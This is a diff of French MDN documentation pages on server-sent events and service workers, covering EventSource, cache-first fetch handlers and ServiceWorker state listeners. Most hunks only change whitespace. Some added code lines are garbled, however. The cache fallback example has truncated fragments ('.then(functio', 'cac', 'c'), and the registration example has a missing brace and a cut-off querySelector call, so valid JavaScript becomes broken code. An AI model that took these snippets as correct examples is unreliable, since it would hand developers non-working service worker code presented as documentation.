La page web reçoit alors ces nouveaux messages qui peuvent être traités comme des événements contenant des données. ## Documentation @@ -23,7 +23,7 @@ Habituellement, une page web doit envoyer une requête au serveur pour obtenir d ## Rubriques connexes -- [AJAX](/en-US/docs/AJAX), [JavaScript](/en-US/docs/JavaScript), [WebSockets](/en-US/docs/WebSockets) +- [AJAX](/en-US/docs/AJAX), [JavaScript](/en-US/docs/JavaScript), [WebSockets](/en-US/docs/WebSockets) ## Voir également diff --git a/files/fr/web/api/server-sent_events/using_server-sent_events/index.md b/files/fr/web/api/server-sent_events/using_server-sent_events/index.md index aefa72a9a4..bfa9fc228e 100644 --- a/files/fr/web/api/server-sent_events/using_server-sent_events/index.md +++ b/files/fr/web/api/server-sent_events/using_server-sent_events/index.md @@ -14,23 +14,23 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events --- {{DefaultAPISidebar("Server Sent Events")}} -Développer une application web qui utilise des [évènements envoyés par le serveur](/fr/docs/Web/API/Server-sent_events) (_server-sent events_ en anglais) est relativement simple. Côté serveur, on aura besoin d'un bout de code qui puisse transmettre des évènements à l'application web ; côté client, le fonctionnement est quasi identique à celui qu'on utilise pour les [websockets](/fr/docs/Web/API/WebSockets_API) et notamment la gestion d'évènements entrants. Il s'agit d'une connexion unidirectionnelle : on ne peut pas envoyer d'évènements du client vers le serveur. +Développer une application web qui utilise des [évènements envoyés par le serveur](/fr/docs/Web/API/Server-sent_events) (_server-sent events_ en anglais) est relativement simple. Côté serveur, on aura besoin d'un bout de code qui puisse transmettre des évènements à l'application web ; côté client, le fonctionnement est quasi identique à celui qu'on utilise pour les [websockets](/fr/docs/Web/API/WebSockets_API) et notamment la gestion d'évènements entrants. Il s'agit d'une connexion unidirectionnelle : on ne peut pas envoyer d'évènements du client vers le serveur. ## Recevoir des évènements du serveur -L'API des évènements serveur est exposée par l'interface [`EventSource`](/fr/docs/Web/API/EventSource) ; pour ouvrir une connexion vers le serveur afin de commencer à recevoir des évènements de celui-ci, on crée un nouvel objet `EventSource`, en spécifiant l'URL d'un script côté serveur qui va générer les évènements. Par exemple : +L'API des évènements serveur est exposée par l'interface [`EventSource`](/fr/docs/Web/API/EventSource) ; pour ouvrir une connexion vers le serveur afin de commencer à recevoir des évènements de celui-ci, on crée un nouvel objet `EventSource`, en spécifiant l'URL d'un script côté serveur qui va générer les évènements. Par exemple : ```js const evtSource = new EventSource("ssedemo.php"); ``` -Si le script qui génère les évènements est hébergé sur une origine différente, le nouvel objet `EventSource` doit être créé en spécifiant à la fois l'URL et un dictionnaire d'options. Par exemple, en supposant que le script client est sur example.com : +Si le script qui génère les évènements est hébergé sur une origine différente, le nouvel objet `EventSource` doit être créé en spécifiant à la fois l'URL et un dictionnaire d'options. Par exemple, en supposant que le script client est sur example.com : ```js const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); ``` -Une fois que la source d'évènement a été instanciée, on peut écouter les messages provenant du serveur en attachant un gestionnaire d'évènement pour [`message`](/fr/docs/Web/API/MessageEvent) : +Une fois que la source d'évènement a été instanciée, on peut écouter les messages provenant du serveur en attachant un gestionnaire d'évènement pour [`message`](/fr/docs/Web/API/MessageEvent) : ```js evtSource.onmessage = function(event) { @@ -44,7 +44,7 @@ evtSource.onmessage = function(event) { Ce code écoute les messages entrants (plus précisément, les notifications venant du serveur qui n'ont pas de champ `event` attaché) et ajoute le texte des messages à une liste dans le contenu HTML du document. -On peut aussi écouter les évènements avec `addEventListener()` : +On peut aussi écouter les évènements avec `addEventListener()` : ```js evtSource.addEventListener("ping", function(event) { @@ -55,7 +55,7 @@ evtSource.addEventListener("ping", function(event) { }); ``` -Ce fragment de code est similaire au précédent, mais sera appelé automatiquement si le serveur envoie un message dont le champ `event` est `ping` ; il analysera alors le JSON dans le champ `data` et l'affichera. +Ce fragment de code est similaire au précédent, mais sera appelé automatiquement si le serveur envoie un message dont le champ `event` est `ping` ; il analysera alors le JSON dans le champ `data` et l'affichera. > **Attention :** **Lorsque HTTP/2 n'est pas utilisé**, les évènements serveurs sont limités par le nombre maximal de connexion ouvertes, notamment quand on a plusieurs onglets ouverts. La limite est fixée _par le navigateur_ et vaut 6 pour chaque origine (voir les bugs [Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=275955) et [Firefox](https://bugzilla.mozilla.org/show_bug.cgi?id=906896)). On pourra avoir 6 connexions pour les évènements serveurs parmi tous les onglets ouverts sur `www.example1.com`, 6 autres pour tous les onglets sur `www.example2.com` (voir cette réponse [Stack Overflow](https://stackoverflow.com/a/5326159/1905229)). Avec HTTP/2, le nombre de flux HTTP simultanés est négocié entre le serveur et le client et vaut 100 par défaut. @@ -63,7 +63,7 @@ Ce fragment de code est similaire au précédent, mais sera appelé automatiquem Le script côté serveur qui envoie les évènements doit répondre en utilisant le type MIME `text/event-stream`. Chaque notification est envoyée sous la forme d'un bloc de texte se terminant par une paire de caractères saut de ligne (`\n`). Pour plus de détails sur le format du flux d'évènements, voir [la section ci-après](#event_stream_format). -Voici le code [PHP](/fr/docs/Glossary/PHP) que nous utilisons pour notre exemple : +Voici le code [PHP](/fr/docs/Glossary/PHP) que nous utilisons pour notre exemple : ```php date_default_timezone_set("America/New_York"); @@ -100,7 +100,7 @@ while (true) { } ``` -Ce code génère un évènement de type « ping » à chaque seconde. La donnée de chaque évènement est un objet JSON contenant un horodatage ISO 8601 qui correspond à l'heure à laquelle l'évènement a été généré. À des intervalles aléatoires, un message simple (sans type d'évènement) est envoyé. +Ce code génère un évènement de type « ping » à chaque seconde. La donnée de chaque évènement est un objet JSON contenant un horodatage ISO 8601 qui correspond à l'heure à laquelle l'évènement a été généré. À des intervalles aléatoires, un message simple (sans type d'évènement) est envoyé. La boucle s'exécute indépendamment du statut de la connexion, on a donc une vérification pour terminer l'exécution si la connexion a été terminée. @@ -126,15 +126,15 @@ evtSource.close(); ## Format du flux d'évènements -Le flux d'évènements est un simple flux de données de texte, qui doit être encodé en [UTF-8](/fr/docs/Glossary/UTF-8). Les messages dans le flux d'évènements sont séparés par une paire de sauts de ligne. Un caractère deux-points « : » en début de ligne représente un commentaire, et est ignoré. +Le flux d'évènements est un simple flux de données de texte, qui doit être encodé en [UTF-8](/fr/docs/Glossary/UTF-8). Les messages dans le flux d'évènements sont séparés par une paire de sauts de ligne. Un caractère deux-points « : » en début de ligne représente un commentaire, et est ignoré. > **Note :** Une ligne de commentaire peut être utilisée pour empêcher les connexions d'expirer. Un serveur peut envoyer périodiquement des commentaires afin de garder la connexion ouverte. -Chaque message consiste en une ou plusieurs lignes de texte décrivant les champs de ce message. Chaque champ est représenté par le nom du champ, suivi d'un « : », suivi des données de texte pour la valeur de ce champ. +Chaque message consiste en une ou plusieurs lignes de texte décrivant les champs de ce message. Chaque champ est représenté par le nom du champ, suivi d'un « : », suivi des données de texte pour la valeur de ce champ. ### Champs -Chaque message reçu contient un ou plusieurs de ces champs, un par ligne : +Chaque message reçu contient un ou plusieurs de ces champs, un par ligne : - `event` - : Une chaîne identifiant le type d'évènement décrit. S'il est spécifié, un évènement sera envoyé dans le navigateur à l'écouteur défini pour l'évènement spécifié. Le code source de l'application doit utiliser `addEventListener()` pour écouter des évènements nommés. Le gestionnaire `onmessage` est appelé si aucun nom d'évènement n'est spécifié dans un message. diff --git a/files/fr/web/api/service_worker_api/index.md b/files/fr/web/api/service_worker_api/index.md index d8d0dc95ba..00935f63f5 100644 --- a/files/fr/web/api/service_worker_api/index.md +++ b/files/fr/web/api/service_worker_api/index.md @@ -101,7 +101,7 @@ Les service workers sont aussi destinés à être utilisés pour des choses tell - {{domxref("NotificationEvent") }} - : Le paramètre passé au gestionnaire {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}, l'interface `NotificationEvent` représente un événement de notification au clic qui est envoyé au {{domxref("ServiceWorkerGlobalScope")}} d'un {{domxref("ServiceWorker")}}. - {{domxref("PeriodicSyncEvent")}} {{non-standard_inline}} - - : Le paramètre passé au gestionnaire sync, l'interface SyncEvent représente une action de synchronisation périodique qui est envoyée au {{domxref("ServiceWorkerGlobalScope")}} d'un ServiceWorker. + - : Le paramètre passé au gestionnaire sync, l'interface SyncEvent représente une action de synchronisation périodique qui est envoyée au {{domxref("ServiceWorkerGlobalScope")}} d'un ServiceWorker. - {{domxref("PeriodicSyncManager")}} {{non-standard_inline}} - : Fournit une interface pour l'enregistrement et la récupération des objets {{domxref("PeriodicSyncRegistration")}}. - {{domxref("PeriodicSyncRegistration")}} {{non-standard_inline}} diff --git a/files/fr/web/api/service_worker_api/using_service_workers/index.md b/files/fr/web/api/service_worker_api/using_service_workers/index.md index ee19f610f3..18a42761de 100644 --- a/files/fr/web/api/service_worker_api/using_service_workers/index.md +++ b/files/fr/web/api/service_worker_api/using_service_workers/index.md @@ -27,13 +27,13 @@ Les service workers devraient finalement résoudre ces problèmes. La syntaxe du ## Préparatifs aux Service Workers -De nombreuses fonctionnalités des service workers sont désormais disponibles par défaut dans les plus récentes versions des navigateurs qui les supportent. Cependant, si vous constatez que le code de la démo ne fonctionne pas dans votre version actuelle, vous pourriez avoir besoin d'activer une configuration : +De nombreuses fonctionnalités des service workers sont désormais disponibles par défaut dans les plus récentes versions des navigateurs qui les supportent. Cependant, si vous constatez que le code de la démo ne fonctionne pas dans votre version actuelle, vous pourriez avoir besoin d'activer une configuration : -- **Firefox Nightly** : rendez-vous sur `about:config` et configurer `dom.serviceWorkers.enabled` à true; redémarrer le navigateur. +- **Firefox Nightly** : rendez-vous sur `about:config` et configurer `dom.serviceWorkers.enabled` à true; redémarrer le navigateur. - **Chrome Canary** : rendez-vous sur `chrome://flags` et activer `experimental-web-platform-features`; redémarrer le navigateur (à noter que certaines fonctionnalités sont désormais activées par défaut dans Chrome.) - **Opera** : rendez-vous sur `opera://flags` et activer `Support for ServiceWorker`; redémarrer le navigateur. -Vous aurez aussi besoin de servir votre code via HTTPS — les Service Workers sont contraints à s'exécuter au travers d'HTTPS pour des raisons de sécurité. GitHub est donc un bon endroit pour héberger des expérimentations, puisqu'il supporte HTTPS. Et pour faciliter le développement en local, le **localhost** est considéré comme une origine sécurisée. +Vous aurez aussi besoin de servir votre code via HTTPS — les Service Workers sont contraints à s'exécuter au travers d'HTTPS pour des raisons de sécurité. GitHub est donc un bon endroit pour héberger des expérimentations, puisqu'il supporte HTTPS. Et pour faciliter le développement en local, le **localhost** est considéré comme une origine sécurisée. ## Architecture de base @@ -80,7 +80,7 @@ myFunction().then(function(value) { Dans le premier exemple, on doit attendre que l'exécution de `myFunction()` retourne `value` avant de poursuivre l'exécution de tout autre code. Dans le second exemple, `myFunction()` retourne une promesse pour `value`, ainsi le reste du code peut continuer à s'exécuter. Lorsque la promesse est résolue, le code à l'intérieur de `then` s'exécutera, de manière asynchrone. -Qu'en est-il sur un exemple concret — qu'en est-il si, lors d'un chargement dynamique d'images, on veut être sûre qu'elles soient bien chargées avant de les afficher ? C'est une démarche standard à adopter, mais parfois problématique. On peut utiliser `.onload` pour n'afficher l'image qu'après qu'elle soit chargée, mais qu'en est-il des événements qui démarrent avant qu'on ne commence à les écouter ? On pourrait essayer un contournement en utilisant `.complete`, mais ce n'est toujours pas infaillible, et que faire en cas d'images multiples ? Et, ummm, tout cela reste synchrone, et bloque donc le fil d'exécution principal. +Qu'en est-il sur un exemple concret — qu'en est-il si, lors d'un chargement dynamique d'images, on veut être sûre qu'elles soient bien chargées avant de les afficher ? C'est une démarche standard à adopter, mais parfois problématique. On peut utiliser `.onload` pour n'afficher l'image qu'après qu'elle soit chargée, mais qu'en est-il des événements qui démarrent avant qu'on ne commence à les écouter ? On pourrait essayer un contournement en utilisant `.complete`, mais ce n'est toujours pas infaillible, et que faire en cas d'images multiples ? Et, ummm, tout cela reste synchrone, et bloque donc le fil d'exécution principal. Alternativement, on pourrait faire notre propre promesse pour gérer ce genre de cas. (Voir l'exemple du [test de promesses](https://github.com/mdn/promises-test) pour le code source, ou [le voir fonctionner en direct](https://mdn.github.io/promises-test/).) @@ -127,18 +127,18 @@ imgLoad('myLittleVader.jpg').then(function(response) { }); ``` -A la fin de l'appel de la fonction, on ajoute la méthode `then()` de la promesse, qui contient deux fonctions — la première est exécutée lorsque la promesse est résolue avec succès, et la seconde est appelée lorsque la promesse est rejetée. Dans le cas d'une résolution, on affiche l'image dans : `myImage` et on l'ajoute au `body` (son argument est la valeur `request.response` contenue dans la méthode `resolve` de la promesse); en cas de rejet, on retourne une erreur dans la console. +A la fin de l'appel de la fonction, on ajoute la méthode `then()` de la promesse, qui contient deux fonctions — la première est exécutée lorsque la promesse est résolue avec succès, et la seconde est appelée lorsque la promesse est rejetée. Dans le cas d'une résolution, on affiche l'image dans : `myImage` et on l'ajoute au `body` (son argument est la valeur `request.response` contenue dans la méthode `resolve` de la promesse); en cas de rejet, on retourne une erreur dans la console. Le tout se déroule de manière asynchrone. -> **Note :** il est possible d'assembler des appels de promesse, par exemple: +> **Note :** il est possible d'assembler des appels de promesse, par exemple: > `myPromise().then(success, failure).then(success).catch(failure);` > **Note :** pour en savoir plus sur les promesses, consulter l'excellent article de Jake Archibald [JavaScript Promises: there and back again](http://www.html5rocks.com/en/tutorials/es6/promises/). ## Démo de service workers -Pour illustrer quelques principes de base de l'enregistrement et de l'installation d'un service worker, voici une simple démo appelée [sw-test](https://github.com/mdn/sw-test), qui présente juste une galerie d'images Star wars Lego. Elle utilise une fonction pilotée par une promesse pour lire les données d'une image à partir d'un objet JSON et charger les images en utilisant Ajax, avant d'afficher les images en bas de page. Les choses restent statiques et simples pour le moment. Elle enregistre aussi, installe et active un service worker, et lorsque la spécification est davantage supportée par les navigateurs, elle met en cache tous les fichiers requis pour un fonctionnement déconnecté ! +Pour illustrer quelques principes de base de l'enregistrement et de l'installation d'un service worker, voici une simple démo appelée [sw-test](https://github.com/mdn/sw-test), qui présente juste une galerie d'images Star wars Lego. Elle utilise une fonction pilotée par une promesse pour lire les données d'une image à partir d'un objet JSON et charger les images en utilisant Ajax, avant d'afficher les images en bas de page. Les choses restent statiques et simples pour le moment. Elle enregistre aussi, installe et active un service worker, et lorsque la spécification est davantage supportée par les navigateurs, elle met en cache tous les fichiers requis pour un fonctionnement déconnecté !  @@ -196,35 +196,35 @@ Après l'enregistrement du service worker, le navigateur tente d'installer puis L'événement install est déclenché lorsqu'une installation se termine avec succès. L'événement install est généralement utilisé pour remplir le cache local du navigateur avec les ressources nécessaires pour faire fonctionner l'application en mode déconnecté. A cet effet, la toute nouvelle API de stockage est utilisée — {{domxref("cache")}} — un espace global au niveau du service worker qui permet de stocker les ressources fournies par les réponses, et indexées par leurs requêtes. Cette API fonctionne d'une manière similaire au cache standard du navigateur, mais le cache demeure spécifique au domaine. Il persiste jusqu'à ce qu'il en soit décidé autrement — de nouveau, le contrôle reste total. -> **Note :** L'API Cache n'est pas supportée par tous les navigateurs. (Voir la section {{anch("Compatibilité des navigateurs")}} pour plus d'informations.) Pour l'utiliser à l'heure actuelle, on peut envisager un polyfill comme celui fournit par la [démo Topeka de Google](https://github.com/Polymer/topeka/blob/master/sw.js), ou peut-être stocker les ressources dans [IndexedDB](/en-US/docs/Web/API/IndexedDB_API). +> **Note :** L'API Cache n'est pas supportée par tous les navigateurs. (Voir la section {{anch("Compatibilité des navigateurs")}} pour plus d'informations.) Pour l'utiliser à l'heure actuelle, on peut envisager un polyfill comme celui fournit par la [démo Topeka de Google](https://github.com/Polymer/topeka/blob/master/sw.js), ou peut-être stocker les ressources dans [IndexedDB](/en-US/docs/Web/API/IndexedDB_API). Commençons cette section par l'examen d'un exemple de code — c'est le [premier bloc présent dans le service worker](https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18): ```js this.addEventListener('install', function(event) { - event.waitUntil( - caches.open('v1').then(function(cache) { - return cache.addAll([ - '/sw-test/', - '/sw-test/index.html', - '/sw-test/style.css', - '/sw-test/app.js', - '/sw-test/image-list.js', - '/sw-test/star-wars-logo.jpg', - '/sw-test/gallery/', - '/sw-test/gallery/bountyHunters.jpg', - '/sw-test/gallery/myLittleVader.jpg', - '/sw-test/gallery/snowTroopers.jpg' - ]); - }) - ); + event.waitUntil( + caches.open('v1').then(function(cache) { + return cache.addAll([ + '/sw-test/', + '/sw-test/index.html', + '/sw-test/style.css', + '/sw-test/app.js', + '/sw-test/image-list.js', + '/sw-test/star-wars-logo.jpg', + '/sw-test/gallery/', + '/sw-test/gallery/bountyHunters.jpg', + '/sw-test/gallery/myLittleVader.jpg', + '/sw-test/gallery/snowTroopers.jpg' + ]); + }) + ); }); ``` -1. Un écouteur d'événement `install` est d'abord ajouté au service worker (d'où le `this`), puis une méthode {{domxref("ExtendableEvent.waitUntil()") }} est chaînée à l'événement — cela garantit que le Service Worker ne s'installera pas tant que le code à l'intérieur de `waitUntil()` n'a pas été exécuté avec succès. +1. Un écouteur d'événement `install` est d'abord ajouté au service worker (d'où le `this`), puis une méthode {{domxref("ExtendableEvent.waitUntil()") }} est chaînée à l'événement — cela garantit que le Service Worker ne s'installera pas tant que le code à l'intérieur de `waitUntil()` n'a pas été exécuté avec succès. 2. A l'intérieur de `waitUntil()` la méthode [`caches.open()`](/en-US/docs/Web/API/CacheStorage/open) est utilisée pour créer un nouveau cache appelé `v1`, ce qui constitue la version 1 du cache de ressources de notre site. Cette fonction retourne une promesse lorsque le cache est créé; une fois résolue, est appelée une fonction qui appelle elle-même `addAll()` sur le cache créé, avec pour paramètre un tableau d'URLs relatives à l'origine correspondant aux ressources à mettre en cache. 3. Si la promesse est rejetée, l'installation échoue, et le worker ne fait rien de plus. Le code peut être alors corrigé et l'opération retentée la prochaine fois que l'enregistrement survient. -4. Après une installation couronnée de succès, le service worker est activé. Cela ne fait pas une grande différence la première fois que le service worker est installé/activé, mais cela fait plus sens lorsque le service worker est mis à jour (voir la section {{anch("Updating your service worker") }} plus bas.) +4. Après une installation couronnée de succès, le service worker est activé. Cela ne fait pas une grande différence la première fois que le service worker est installé/activé, mais cela fait plus sens lorsque le service worker est mis à jour (voir la section {{anch("Updating your service worker") }} plus bas.) > **Note :** [localStorage](/fr/docs/Web/API/Web_Storage_API) fonctionne de la même façon que le cache du service worker, mais de manière synchrone, et il n'est donc pas autorisé dans les service workers. @@ -256,7 +256,7 @@ this.addEventListener('fetch', function(event) { }); ``` -`caches.match(event.request)` permet de mettre en correspondance chaque ressource demandée sur le réseau avec la ressource équivalente en cache, si elle se trouve être disponible. La comparaison est effectuée via l'url et diverses en-têtes, comme habituellement avec des requêtes HTTP normales. +`caches.match(event.request)` permet de mettre en correspondance chaque ressource demandée sur le réseau avec la ressource équivalente en cache, si elle se trouve être disponible. La comparaison est effectuée via l'url et diverses en-têtes, comme habituellement avec des requêtes HTTP normales. Voici quelques autres options disponibles pour que la magie opère (voir la [documentation de l'API Fetch](/fr/docs/Web/API/Fetch_API) pour plus d'informations sur les objets [`Request`](/fr/docs/Web/API/Request) et [`Response`](/fr/docs/Web/API/Response)). @@ -332,7 +332,7 @@ this.addEventListener('fetch', function(event) { Ici on retourne la requête réseau par défaut au moyen de `return fetch(event.request)`, qui retourne lui-même une promesse. Lorsque cette promesse est résolue, on exécute une fonction qui sollicite le cache en utilisant `caches.open('v1')`; une promesse est de nouveau retournée. Lorsque cette promesse est résolue, `cache.put()` est utilisée pour ajouter la ressource au cache. La ressource est récupérée à partir de `event.request`, et la réponse est alors clonée avec `response.clone()` et ajoutée au cache. Le clone est placé dans le cache, et la réponse originale est retournée au navigateur et délivrée à la page qui la requiert. -Pourquoi un clone ? Il se trouve que les flux de requête et de réponse peuvent seulement être lus une fois. Afin de retourner la réponse au navigateur et de la mettre en cache, elle doit être clonée. Aussi, l'original est retourné au navigateur tandis que le clone est envoyé dans le cache. Ils sont chacun lus une seule fois. +Pourquoi un clone ? Il se trouve que les flux de requête et de réponse peuvent seulement être lus une fois. Afin de retourner la réponse au navigateur et de la mettre en cache, elle doit être clonée. Aussi, l'original est retourné au navigateur tandis que le clone est envoyé dans le cache. Ils sont chacun lus une seule fois. Le dernier problème qui demeure alors est l'échec de la requête au cas où elle n'a aucune correspondance dans le cache et que le réseau n'est pas disponible. Fournir un document de rechange par défaut permet quoiqu'il arrive, à l'utilisateur de récupérer quelque chose : @@ -347,8 +347,8 @@ this.addEventListener('fetch', function(event) { }); }); }).catch(function() { - return caches.match('/sw-test/gallery/myLittleVader.jpg'); - }) + return caches.match('/sw-test/gallery/myLittleVader.jpg'); + }) ); }); ``` @@ -361,18 +361,18 @@ Ce code utilise un chaînage de promesses plus standard et retourne la réponse ```js this.addEventListener('fetch', function(event) { - var response; - event.respondWith(caches.match(event.request).catch(function() { - return fetch(event.request); - }).then(function(r) { - response = r; - caches.open('v1').then(function(cache) { - cache.put(event.request, response); - }); - return response.clone(); - }).catch(function() { - return caches.match('/sw-test/gallery/myLittleVader.jpg'); - })); + var response; + event.respondWith(caches.match(event.request).catch(function() { + return fetch(event.request); + .then(functio + response = r; + cac + c + }); + return response.clone(); + }).catch(function() { + return caches.match('/sw-test/gallery/myLittleVader.jpg'); + })); }); ``` diff --git a/files/fr/web/api/serviceworker/index.md b/files/fr/web/api/serviceworker/index.md index ee79380e4f..26f509022a 100644 --- a/files/fr/web/api/serviceworker/index.md +++ b/files/fr/web/api/serviceworker/index.md @@ -13,65 +13,65 @@ translation_of: Web/API/ServiceWorker --- {{APIRef("Service Workers API")}} -L'interface **`ServiceWorker`** de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorker_API) met à disposition une référence vers un service worker. Plusieurs {{glossary("browsing context", "contextes de navigations")}} (par exemple une page, un _worker_, etc.) peuvent être associés au même service worker, chacun à travers un unique objet `ServiceWorker`. +L'interface **`ServiceWorker`** de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorker_API) met à disposition une référence vers un service worker. Plusieurs {{glossary("browsing context", "contextes de navigations")}} (par exemple une page, un _worker_, etc.) peuvent être associés au même service worker, chacun à travers un unique objet `ServiceWorker`. -Un objet `ServiceWorker` est disponible dans les propriétés {{domxref("ServiceWorkerRegistration.active")}} et {{domxref("ServiceWorkerContainer.controller")}} — c'est un service worker qui a été activé et qui contrôle la page (ce service worker a été bien enregistré, et la page contrôlée a été rechargée). +Un objet `ServiceWorker` est disponible dans les propriétés {{domxref("ServiceWorkerRegistration.active")}} et {{domxref("ServiceWorkerContainer.controller")}} — c'est un service worker qui a été activé et qui contrôle la page (ce service worker a été bien enregistré, et la page contrôlée a été rechargée). -L'interface `ServiceWorker` est distribuée à travers différents évènements de son cycle de vie — `install` et `activate` — et d'utilisation, comme `fetch`. Un objet `ServiceWorker` a un état associé {{domxref("ServiceWorker.state")}}, lié à son cycle de vie. +L'interface `ServiceWorker` est distribuée à travers différents évènements de son cycle de vie — `install` et `activate` — et d'utilisation, comme `fetch`. Un objet `ServiceWorker` a un état associé {{domxref("ServiceWorker.state")}}, lié à son cycle de vie. ## Propriétés -_L'interface `ServiceWorker` hérite des propriétés de son parent, le {{domxref("Worker")}}._ +_L'interface `ServiceWorker` hérite des propriétés de son parent, le {{domxref("Worker")}}._ - {{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}} - - : Retourne la `scriptURL` sérialisée du `ServiceWorker`, définie comme une partie du {{domxref("ServiceWorkerRegistration")}}. Cette URL doit avoir la même origine que le document qui enregistre le `ServiceWorker`. + - : Retourne la `scriptURL` sérialisée du `ServiceWorker`, définie comme une partie du {{domxref("ServiceWorkerRegistration")}}. Cette URL doit avoir la même origine que le document qui enregistre le `ServiceWorker`. - {{domxref("ServiceWorker.state")}} {{readonlyinline}} - : Retourne le status du service worker. Il retourne l'une des valeurs suivantes : `installing`, `installed,` `activating`, `activated`, or `redundant`. ### Gestionnaires d'évènements - {{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}} - - : Une propriété {{domxref("EventListener")}} est appelée quand un évènement de type `statechange` est déclenché; c'est le cas dès que le {{domxref("ServiceWorker.state")}} change. + - : Une propriété {{domxref("EventListener")}} est appelée quand un évènement de type `statechange` est déclenché; c'est le cas dès que le {{domxref("ServiceWorker.state")}} change. ## Méthodes -L'interface du *`ServiceWorker` hérite des méthodes de son parent, {{domxref("Worker")}}, avec l'exception de {{domxref("Worker.terminate")}}, qui ne doit pas être accessible depuis le service worker.* +L'interface du *`ServiceWorker` hérite des méthodes de son parent, {{domxref("Worker")}}, avec l'exception de {{domxref("Worker.terminate")}}, qui ne doit pas être accessible depuis le service worker.* ## Exemples -Ce fragment de code provient d'[un exemple d'enregistrement d'évènement pour le service worker](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html) ([démo en direct](https://googlechrome.github.io/samples/service-worker/registration-events/)). Le code écoute tout changement du {{domxref("ServiceWorker.state")}} et retourne sa valeur. +Ce fragment de code provient d'[un exemple d'enregistrement d'évènement pour le service worker](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html) ([démo en direct](https://googlechrome.github.io/samples/service-worker/registration-events/)). Le code écoute tout changement du {{domxref("ServiceWorker.state")}} et retourne sa valeur. ```js if ('serviceWorker' in navigator) { - navigator.serviceWorker - .register('service-worker.js', { - scope: './' - }) - .then(({ installing, waiting, active }) => { - let serviceWorker - if (installing) { - serviceWorker = installing - document.querySelector('#kind').textContent = 'installé' - } else if (waiting) { - serviceWorker = waiting - document.querySelector('#kind').textContent = 'en attente' - } else if (active) { - serviceWorker = active - document.querySelector('#kind').textContent = 'actif' - } - if (serviceWorker) { - // logState(serviceWorker.state); - serviceWorker.addEventListener('statechange', (e) => { - // logState(e.target.state); - }) - } - }) - .catch((error) => { - // L'enregistrement s'est mal déroulé. Le fichier service-worker.js - // est peut-être indisponible ou contient une erreur. - }) + navigator.serviceWorker + .register('service-worker.js', { + scope: './' + }) + .then(({ installing, waiting, active }) => { + let serviceWorker + if (installing) { + serviceWorker = installing + document.querySelector('#kind').textContent = 'installé' + else if (waiting) { + serviceWorker = waiting + document.querySelector + } else if (active) { + serviceWorker = active + document.querySelector('#kind').textContent = 'actif' + } + if (serviceWorker) { + // logState(serviceWorker.state); + serviceWorker.addEventListener('statechange', (e) => { + // logState(e.target.state); + }) + } + }) + .catch((error) => { + // L'enregistrement s'est mal déroulé. Le fichier service-worker.js + // est peut-être indisponible ou contient une erreur. + }) } else { - // Le navigateur ne supporte pas les service workers. + // Le navigateur ne supporte pas les service workers. } ``` diff --git a/files/fr/web/api/serviceworker/onstatechange/index.md b/files/fr/web/api/serviceworker/onstatechange/index.md index 4089f7a837..f499cdf8bb 100644 --- a/files/fr/web/api/serviceworker/onstatechange/index.md +++ b/files/fr/web/api/serviceworker/onstatechange/index.md @@ -9,16 +9,16 @@ translation_of: Web/API/ServiceWorker/onstatechange --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -Une propriété {{domxref("EventListener")}} appelée quand un évenement de type `statechange` est déclenché; c'est le cas dès que le {{domxref("ServiceWorker.state")}} change. +Une propriété {{domxref("EventListener")}} appelée quand un évenement de type `statechange` est déclenché; c'est le cas dès que le {{domxref("ServiceWorker.state")}} change. ## Syntax ServiceWorker.onstatechange = function(statechangeevent) { ... } - ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } ) + ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } ) ## Examples -Ce fragment de code présente [un exemple d'enregistrement d'évenements pour le service worker](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html) ([démo live](https://googlechrome.github.io/samples/service-worker/registration-events/)). Le code écoute pour tout changement du {{domxref("ServiceWorker.state")}} et retourne sa valeur. +Ce fragment de code présente [un exemple d'enregistrement d'évenements pour le service worker](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html) ([démo live](https://googlechrome.github.io/samples/service-worker/registration-events/)). Le code écoute pour tout changement du {{domxref("ServiceWorker.state")}} et retourne sa valeur. ```js var serviceWorker; @@ -41,16 +41,16 @@ if (serviceWorker) { } ``` -Notez que quand l'évenement `statechange` est déclenché, la référence du service worker peut avoir changée. Par exemple : +Notez que quand l'évenement `statechange` est déclenché, la référence du service worker peut avoir changée. Par exemple : ```js navigator.serviceWorker.register(..).then(function(swr) { swr.installing.state == "installé" swr.installing.onstatechange = function() { swr.installing == null; - // Ici, swr.waiting OU swr.active peuvent valoir true. Parce que l'évènement + // Ici, swr.waiting OU swr.active peuvent valoir true. Parce que l'évènement // statechange est mis en queue, pendant que le worker sous jacent est peut être en - // état d'attente et sera immédiatement activé si possible. + // état d'attente et sera immédiatement activé si possible. } }) ``` diff --git a/files/fr/web/api/serviceworkercontainer/index.md b/files/fr/web/api/serviceworkercontainer/index.md index c7de9a158f..ebf579b6f5 100644 --- a/files/fr/web/api/serviceworkercontainer/index.md +++ b/files/fr/web/api/serviceworkercontainer/index.md @@ -12,7 +12,7 @@ Parmi le plus important, cette interface expose la méthode {{domxref("ServiceWo ## Propriétés - {{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}} - - : Retourne un objet {{domxref("ServiceWorker")}} si son état est `activated` (le même objet retourné par {{domxref("ServiceWorkerRegistration.active")}}). Cette propriété retourne `null` si la requête est un rechargement forcé (*Majuscule* + rechargement) ou si il n'y a pas de worker actif. + - : Retourne un objet {{domxref("ServiceWorker")}} si son état est `activated` (le même objet retourné par {{domxref("ServiceWorkerRegistration.active")}}). Cette propriété retourne `null` si la requête est un rechargement forcé (*Majuscule* + rechargement) ou si il n'y a pas de worker actif. <!----> @@ -33,9 +33,9 @@ Parmi le plus important, cette interface expose la méthode {{domxref("ServiceWo - {{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} - : Crée ou met à jour un {{domxref("ServiceWorkerRegistration")}} pour un `scriptURL` donné. - 